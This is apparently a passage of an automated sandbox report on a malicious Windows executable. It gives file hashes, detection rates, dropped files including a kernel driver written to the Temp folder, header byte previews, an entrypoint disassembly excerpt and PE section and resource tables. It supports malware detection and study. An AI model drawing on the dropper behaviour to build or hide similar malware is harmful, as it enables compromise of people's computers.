                                                                        File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):3029504
                                                                        Entropy (8bit):6.866983000755247
                                                                        Encrypted:false
                                                                        SSDEEP:49152:pfc4Kza7W10OEb4yAPKcQyQpSbBB6ozBFLNHMFVW4DVsNxVXLNDyc01uU13pd3tR:64Ke7BOC6KKQUbb6o9RNHMFVW4DmXFxf
                                                                        MD5:C50BD7DCE0964F07ACF0986080C5833B
                                                                        SHA1:0D1A02D2AF2A26D7A901A4D097EDD81E9780DA73
                                                                        SHA-256:CE0B693FA6FF60C824AB99F9389B5BD1016435A1F2A2A81B684287FE79454356
                                                                        SHA-512:4EFE3BC68B089632C9D4818406A100AE88AF1FD3E59BF8EF15873B40651A5C7CABC75528C8EEE6348A1E78F22B960F4D3C4AC0D556F99951EAFC236F1C34C0EB
                                                                        Malicious:true
                                                                        Antivirus:
                                                                        • Antivirus: ReversingLabs, Detection: 61%
                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...-.Lg.........."......|....-.....@..........@.........................................`.................................................8...<.....(.`....@(..............p(.x...............................(.......8..............X............................text...Vz.......|.................. ..`.rdata..............................@..@.data...`.'......z'.................@....pdata.......@(.......(.............@..@.00cfg.......P(.......(.............@..@.tls.........`(.......(.............@....reloc..x....p(.......(.............@..B.rsrc...`.....(...... (.............@..@........................................................................................................................................................................................................................................................................................................

                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                        Download File
                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        File Type:data
                                                                        Category:dropped
                                                                        Size (bytes):64
                                                                        Entropy (8bit):1.1940658735648508
                                                                        Encrypted:false
                                                                        SSDEEP:3:Nlllul3nqth:NllUa
                                                                        MD5:851531B4FD612B0BC7891B3F401A478F
                                                                        SHA1:483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
                                                                        SHA-256:383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
                                                                        SHA-512:A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
                                                                        Malicious:false
                                                                        Preview:@...e.................................&..............@..........

                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p3pnvusg.snx.psm1

                                                                        Download File
                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        File Type:ASCII text, with no line terminators
                                                                        Category:dropped
                                                                        Size (bytes):60
                                                                        Entropy (8bit):4.038920595031593
                                                                        Encrypted:false
                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                        Malicious:false
                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ue1akwn1.p31.ps1

                                                                        Download File
                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        File Type:ASCII text, with no line terminators
                                                                        Category:dropped
                                                                        Size (bytes):60
                                                                        Entropy (8bit):4.038920595031593
                                                                        Encrypted:false
                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                        Malicious:false
                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uyyeoljg.fup.ps1

                                                                        Download File
                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        File Type:ASCII text, with no line terminators
                                                                        Category:dropped
                                                                        Size (bytes):60
                                                                        Entropy (8bit):4.038920595031593
                                                                        Encrypted:false
                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                        Malicious:false
                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zwlsscbi.a4o.psm1

                                                                        Download File
                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        File Type:ASCII text, with no line terminators
                                                                        Category:dropped
                                                                        Size (bytes):60
                                                                        Entropy (8bit):4.038920595031593
                                                                        Encrypted:false
                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                        Malicious:false
                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                        C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                        Download File
                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        File Type:data
                                                                        Category:dropped
                                                                        Size (bytes):64
                                                                        Entropy (8bit):0.34726597513537405
                                                                        Encrypted:false
                                                                        SSDEEP:3:Nlll:Nll
                                                                        MD5:446DD1CF97EABA21CF14D03AEBC79F27
                                                                        SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                                                                        SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                                                                        SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                                                                        Malicious:false
                                                                        Preview:@...e...........................................................

                                                                        C:\Windows\Temp\__PSScriptPolicyTest_0otoppmk.bhb.psm1

                                                                        Download File
                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        File Type:ASCII text, with no line terminators
                                                                        Category:dropped
                                                                        Size (bytes):60
                                                                        Entropy (8bit):4.038920595031593
                                                                        Encrypted:false
                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                        Malicious:false
                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                        C:\Windows\Temp\__PSScriptPolicyTest_azle1pz5.bip.ps1

                                                                        Download File
                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        File Type:ASCII text, with no line terminators
                                                                        Category:dropped
                                                                        Size (bytes):60
                                                                        Entropy (8bit):4.038920595031593
                                                                        Encrypted:false
                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                        Malicious:false
                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                        C:\Windows\Temp\__PSScriptPolicyTest_dy32igjk.vkn.psm1

                                                                        Download File
                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        File Type:ASCII text, with no line terminators
                                                                        Category:dropped
                                                                        Size (bytes):60
                                                                        Entropy (8bit):4.038920595031593
                                                                        Encrypted:false
                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                        Malicious:false
                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                        C:\Windows\Temp\__PSScriptPolicyTest_svbwj4gw.nq0.ps1

                                                                        Download File
                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        File Type:ASCII text, with no line terminators
                                                                        Category:dropped
                                                                        Size (bytes):60
                                                                        Entropy (8bit):4.038920595031593
                                                                        Encrypted:false
                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                        Malicious:false
                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                        C:\Windows\Temp\tmacotasdwvx.sys

                                                                        Download File
                                                                        Process:C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exe
                                                                        File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):14544
                                                                        Entropy (8bit):6.2660301556221185
                                                                        Encrypted:false
                                                                        SSDEEP:192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
                                                                        MD5:0C0195C48B6B8582FA6F6373032118DA
                                                                        SHA1:D25340AE8E92A6D29F599FEF426A2BC1B5217299
                                                                        SHA-256:11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
                                                                        SHA-512:AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
                                                                        Malicious:true
                                                                        Antivirus:
                                                                        • Antivirus: ReversingLabs, Detection: 5%
                                                                        Joe Sandbox View:
                                                                        • Filename: newtpp.exe, Detection: malicious, Browse
                                                                        • Filename: main.exe, Detection: malicious, Browse
                                                                        • Filename: 6xQ8CMUaES.exe, Detection: malicious, Browse
                                                                        • Filename: 4o8Tgrb384.exe, Detection: malicious, Browse
                                                                        • Filename: 0kToM9fVGQ.exe, Detection: malicious, Browse
                                                                        • Filename: m2.exe, Detection: malicious, Browse
                                                                        • Filename: ICBM-noml.exe, Detection: malicious, Browse
                                                                        • Filename: rtYpMDeKUq.exe, Detection: malicious, Browse
                                                                        • Filename: n7ZKbApaa3.dll, Detection: malicious, Browse
                                                                        • Filename: ICBM.exe, Detection: malicious, Browse
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

                                                                        Static File Info

                                                                        General

                                                                        File type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                        Entropy (8bit):6.866983000755247
                                                                        TrID:
                                                                        • Win64 Executable GUI (202006/5) 92.65%
                                                                        • Win64 Executable (generic) (12005/4) 5.51%
                                                                        • Generic Win/DOS Executable (2004/3) 0.92%
                                                                        • DOS Executable Generic (2002/1) 0.92%
                                                                        • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                        File name:rLaC8kO1rD.exe
                                                                        File size:3'029'504 bytes
                                                                        MD5:c50bd7dce0964f07acf0986080c5833b
                                                                        SHA1:0d1a02d2af2a26d7a901a4d097edd81e9780da73
                                                                        SHA256:ce0b693fa6ff60c824ab99f9389b5bd1016435a1f2a2a81b684287fe79454356
                                                                        SHA512:4efe3bc68b089632c9d4818406a100ae88af1fd3e59bf8ef15873b40651a5c7cabc75528c8eee6348a1e78f22b960f4d3c4ac0d556f99951eafc236f1c34c0eb
                                                                        SSDEEP:49152:pfc4Kza7W10OEb4yAPKcQyQpSbBB6ozBFLNHMFVW4DVsNxVXLNDyc01uU13pd3tR:64Ke7BOC6KKQUbb6o9RNHMFVW4DmXFxf
                                                                        TLSH:D3E51242A289DF67D222D031D40BC3B056267C6DC32A156739E27E577AF23C121BBE5B
                                                                        File Content Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...-.Lg.........."......|....-.....@..........@..........................................`........................................

                                                                        File Icon

                                                                        Icon Hash:173149cccc490307

                                                                        Static PE Info

                                                                        General

                                                                        Entrypoint:0x140001140
                                                                        Entrypoint Section:.text
                                                                        Digitally signed:false
                                                                        Imagebase:0x140000000
                                                                        Subsystem:windows gui
                                                                        Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
                                                                        DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                                                                        Time Stamp:0x674CB02D [Sun Dec 1 18:51:25 2024 UTC]
                                                                        TLS Callbacks:0x40001760, 0x1, 0x400017e0, 0x1
                                                                        CLR (.Net) Version:
                                                                        OS Version Major:6
                                                                        OS Version Minor:0
                                                                        File Version Major:6
                                                                        File Version Minor:0
                                                                        Subsystem Version Major:6
                                                                        Subsystem Version Minor:0
                                                                        Import Hash:de41d4e0545d977de6ca665131bb479a

                                                                        Entrypoint Preview

                                                                        Instruction
                                                                        dec eax
                                                                        sub esp, 28h
                                                                        dec eax
                                                                        mov eax, dword ptr [00007ED5h]
                                                                        mov dword ptr [eax], 00000001h
                                                                        call 00007F3C84B2360Fh
                                                                        nop
                                                                        nop
                                                                        nop
                                                                        dec eax
                                                                        add esp, 28h
                                                                        ret
                                                                        nop
                                                                        inc ecx
                                                                        push edi
                                                                        inc ecx
                                                                        push esi
                                                                        push esi
                                                                        push edi
                                                                        push ebx
                                                                        dec eax
                                                                        sub esp, 20h
                                                                        dec eax
                                                                        mov eax, dword ptr [00000030h]
                                                                        dec eax
                                                                        mov edi, dword ptr [eax+08h]
                                                                        dec eax
                                                                        mov esi, dword ptr [00007EC9h]
                                                                        xor eax, eax
                                                                        dec eax
                                                                        cmpxchg dword ptr [esi], edi
                                                                        sete bl
                                                                        je 00007F3C84B23630h
                                                                        dec eax
                                                                        cmp edi, eax
                                                                        je 00007F3C84B2362Bh
                                                                        dec esp
                                                                        mov esi, dword ptr [00009669h]
                                                                        nop word ptr [eax+eax+00000000h]
                                                                        mov ecx, 000003E8h
                                                                        inc ecx
                                                                        call esi
                                                                        xor eax, eax
                                                                        dec eax
                                                                        cmpxchg dword ptr [esi], edi
                                                                        sete bl
                                                                        je 00007F3C84B23607h
                                                                        dec eax
                                                                        cmp edi, eax
                                                                        jne 00007F3C84B235E9h
                                                                        dec eax
                                                                        mov edi, dword ptr [00007E90h]
                                                                        mov eax, dword ptr [edi]
                                                                        cmp eax, 01h
                                                                        jne 00007F3C84B2360Eh
                                                                        mov ecx, 0000001Fh
                                                                        call 00007F3C84B2AD04h
                                                                        jmp 00007F3C84B23629h
                                                                        cmp dword ptr [edi], 00000000h
                                                                        je 00007F3C84B2360Bh
                                                                        mov byte ptr [002817C9h], 00000001h
                                                                        jmp 00007F3C84B2361Bh
                                                                        mov dword ptr [edi], 00000001h
                                                                        dec eax
                                                                        mov ecx, dword ptr [00007E7Ah]
                                                                        dec eax
                                                                        mov edx, dword ptr [00007E7Bh]
                                                                        call 00007F3C84B2ACFBh
                                                                        mov eax, dword ptr [edi]
                                                                        cmp eax, 01h
                                                                        jne 00007F3C84B2361Bh
                                                                        dec eax
                                                                        mov ecx, dword ptr [00007E50h]

                                                                        Data Directories

                                                                        NameVirtual AddressVirtual Size Is in Section
                                                                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_IMPORT0xa5380x3c.rdata
                                                                        IMAGE_DIRECTORY_ENTRY_RESOURCE0x2880000x61860.rsrc
                                                                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x2840000x180.pdata
                                                                        IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_BASERELOC0x2870000x78.reloc
                                                                        IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_TLS0x90a00x28.rdata
                                                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x94100x138.rdata
                                                                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_IAT0xa6d00x158.rdata
                                                                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                        Sections

                                                                        NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                        .text0x10000x7a560x7c00b2d81b6223a836f9b9ea918001184186False0.5045677923387096data6.17752115168431IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                        .rdata0x90000x1c800x1e00b0bfed46324323313c1d22959d9ab04dFalse0.44309895833333335zlib compressed data4.601408799813054IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                        .data0xb0000x2788600x277a007f44f0e4fad9aab1ea2a4474f8bb1346unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                        .pdata0x2840000x1800x200827257e6db62ef29ccbbd89c387faf69False0.50390625data3.1449758599476807IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                        .00cfg0x2850000x100x200b18c7380298e104adf73576fa46bccc1False0.04296875data0.15127132530476972IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                        .tls0x2860000x100x200bf619eac0cdf3f68d496ea9344137e8bFalse0.02734375data0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                        .reloc0x2870000x780x2006b0d02e3b9bf86dfff1065655fe64131False0.232421875data1.4178553129526903IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
                                                                        .rsrc0x2880000x618600x61a00435507c313752fb75ea54d86760368ceFalse0.6349856954225352data6.99711900444238IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                        Resources

                                                                        NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                        RT_ICON0x2890180x568Device independent bitmap graphic, 16 x 32 x 8, image size 0EnglishUnited States0.4913294797687861
                                                                        RT_ICON0x2895800x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0EnglishUnited States0.46435018050541516
                                                                        RT_ICON0x289e280xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0EnglishUnited States0.39072494669509594
                                                                        RT_ICON0x28acd00x468Device independent bitmap graphic, 16 x 32 x 32, image size 0EnglishUnited States0.6214539007092199
                                                                        RT_ICON0x28b1380x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0EnglishUnited States0.4298780487804878
                                                                        RT_ICON0x28c1e00x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0EnglishUnited States0.32863070539419087
                                                                        RT_ICON0x28e7880x7cfcPNG image data, 256 x 256, 8-bit/color RGBA, non-interlacedEnglishUnited States0.9984998124765596
                                                                        RT_ICON0x2964840x38Device independent bitmap graphic, 1 x 2 x 1, image size 0EnglishUnited States0.4107142857142857
                                                                        RT_ICON0x2964bc0x38Device independent bitmap graphic, 1 x 2 x 1, image size 0EnglishUnited States0.4107142857142857
                                                                        RT_ICON0x2964f40x38Device independent bitmap graphic, 1 x 2 x 1, image size 0EnglishUnited States0.4107142857142857
                                                                        RT_ICON0x29652c0x568Device independent bitmap graphic, 16 x 32 x 8, image size 0EnglishUnited States0.4429190751445087
                                                                        RT_ICON0x296a940x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0EnglishUnited States0.411101083032491
                                                                        RT_ICON0x29733c0xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0EnglishUnited States0.35047974413646055
                                                                        RT_ICON0x2981e40x468Device independent bitmap graphic, 16 x 32 x 32, image size 0EnglishUnited States0.6046099290780141
                                                                        RT_ICON0x29864c0x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0EnglishUnited States0.40196998123827393
                                                                        RT_ICON0x2996f40x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0EnglishUnited States0.31483402489626555
                                                                        RT_ICON0x29bc9c0x7c98PNG image data, 256 x 256, 8-bit/color RGBA, non-interlacedEnglishUnited States0.9978994231251568
                                                                        RT_ICON0x2a39340xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0EnglishUnited States0.2332089552238806
                                                                        RT_ICON0x2a47dc0x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0EnglishUnited States0.3564981949458484
                                                                        RT_ICON0x2a50840x568Device independent bitmap graphic, 16 x 32 x 8, image size 0EnglishUnited States0.5173410404624278
                                                                        RT_ICON0x2a55ec0x7faPNG image data, 256 x 256, 8-bit colormap, non-interlacedEnglishUnited States0.8736532810969637
                                                                        RT_ICON0x2a5de80x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0EnglishUnited States0.06732365145228215
                                                                        RT_ICON0x2a83900x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0EnglishUnited States0.10694183864915573
                                                                        RT_ICON0x2a94380x468Device independent bitmap graphic, 16 x 32 x 32, image size 0EnglishUnited States0.25177304964539005
                                                                        RT_ICON0x2a98a00xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0EnglishUnited States0.2260127931769723
                                                                        RT_ICON0x2aa7480x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0EnglishUnited States0.3456678700361011
                                                                        RT_ICON0x2aaff00x568Device independent bitmap graphic, 16 x 32 x 8, image size 0EnglishUnited States0.5079479768786127
                                                                        RT_ICON0x2ab5580x7c8PNG image data, 256 x 256, 8-bit colormap, non-interlacedEnglishUnited States0.8704819277108434
                                                                        RT_ICON0x2abd200x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0EnglishUnited States0.06244813278008299
                                                                        RT_ICON0x2ae2c80x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0EnglishUnited States0.09803001876172608
                                                                        RT_ICON0x2af3700x468Device independent bitmap graphic, 16 x 32 x 32, image size 0EnglishUnited States0.23049645390070922
                                                                        RT_ICON0x2af7d80x4a8Device independent bitmap graphic, 17 x 32 x 32, image size 1088, resolution 2835 x 2835 px/mEnglishUnited States0.28439597315436244
                                                                        RT_ICON0x2afc800x1234Device independent bitmap graphic, 33 x 66 x 32, image size 4356, resolution 2835 x 2835 px/mEnglishUnited States0.11566523605150214
                                                                        RT_ICON0x2b0eb40x2668Device independent bitmap graphic, 49 x 96 x 32, image size 9408, resolution 2835 x 2835 px/mEnglishUnited States0.07811228641171684
                                                                        RT_ICON0x2b351c0x184bPNG image data, 257 x 256, 8-bit/color RGBA, non-interlacedEnglishUnited States0.992603312429651
                                                                        RT_ICON0x2b4d680x568Device independent bitmap graphic, 16 x 32 x 8, image size 0EnglishUnited States0.4552023121387283
                                                                        RT_ICON0x2b52d00x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0EnglishUnited States0.43772563176895307
                                                                        RT_ICON0x2b5b780xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0EnglishUnited States0.4013859275053305
                                                                        RT_ICON0x2b6a200x468Device independent bitmap graphic, 16 x 32 x 32, image size 0EnglishUnited States0.5638297872340425
                                                                        RT_ICON0x2b6e880x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0EnglishUnited States0.3574108818011257
                                                                        RT_ICON0x2b7f300x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0EnglishUnited States0.300103734439834
                                                                        RT_ICON0x2ba4d80x6c1cPNG image data, 256 x 256, 8-bit/color RGBA, non-interlacedEnglishUnited States0.9986631016042781
                                                                        RT_ICON0x2c10f40x568Device independent bitmap graphic, 16 x 32 x 8, image size 0EnglishUnited States0.4653179190751445
                                                                        RT_ICON0x2c165c0x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0EnglishUnited States0.4426895306859206
                                                                        RT_ICON0x2c1f040xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0EnglishUnited States0.4064498933901919
                                                                        RT_ICON0x2c2dac0x468Device independent bitmap graphic, 16 x 32 x 32, image size 0EnglishUnited States0.5709219858156028
                                                                        RT_ICON0x2c32140x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0EnglishUnited States0.3602251407129456
                                                                        RT_ICON0x2c42bc0x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0EnglishUnited States0.30072614107883816
                                                                        RT_ICON0x2c68640x6a18PNG image data, 256 x 256, 8-bit/color RGBA, non-interlacedEnglishUnited States0.9981958762886598
                                                                        RT_ICON0x2cd27c0x568Device independent bitmap graphic, 16 x 32 x 8, image size 0EnglishUnited States0.3945086705202312
                                                                        RT_ICON0x2cd7e40x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0EnglishUnited States0.5902527075812274
                                                                        RT_ICON0x2ce08c0xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0EnglishUnited States0.5221215351812367
                                                                        RT_ICON0x2cef340x468Device independent bitmap graphic, 16 x 32 x 32, image size 0EnglishUnited States0.4858156028368794
                                                                        RT_ICON0x2cf39c0x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0EnglishUnited States0.3548311444652908
                                                                        RT_ICON0x2d04440x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0EnglishUnited States0.23651452282157676
                                                                        RT_ICON0x2d29ec0x8a38PNG image data, 256 x 256, 8-bit/color RGBA, non-interlacedEnglishUnited States0.998276056974904
                                                                        RT_ICON0x2db4240x568Device independent bitmap graphic, 16 x 32 x 8, image size 0EnglishUnited States0.3945086705202312
                                                                        RT_ICON0x2db98c0x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0EnglishUnited States0.5902527075812274
                                                                        RT_ICON0x2dc2340xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0EnglishUnited States0.5221215351812367
                                                                        RT_ICON0x2dd0dc0x468Device independent bitmap graphic, 16 x 32 x 32, image size 0EnglishUnited States0.4858156028368794
                                                                        RT_ICON0x2dd5440x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0EnglishUnited States0.3548311444652908
                                                                        RT_ICON0x2de5ec0x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0EnglishUnited States0.23651452282157676
                                                                        RT_ICON0x2e0b940x84c0PNG image data, 256 x 256, 8-bit/color RGBA, non-interlacedEnglishUnited States0.997587099811676
                                                                        RT_GROUP_ICON0x2e90540x68dataEnglishUnited States0.7019230769230769
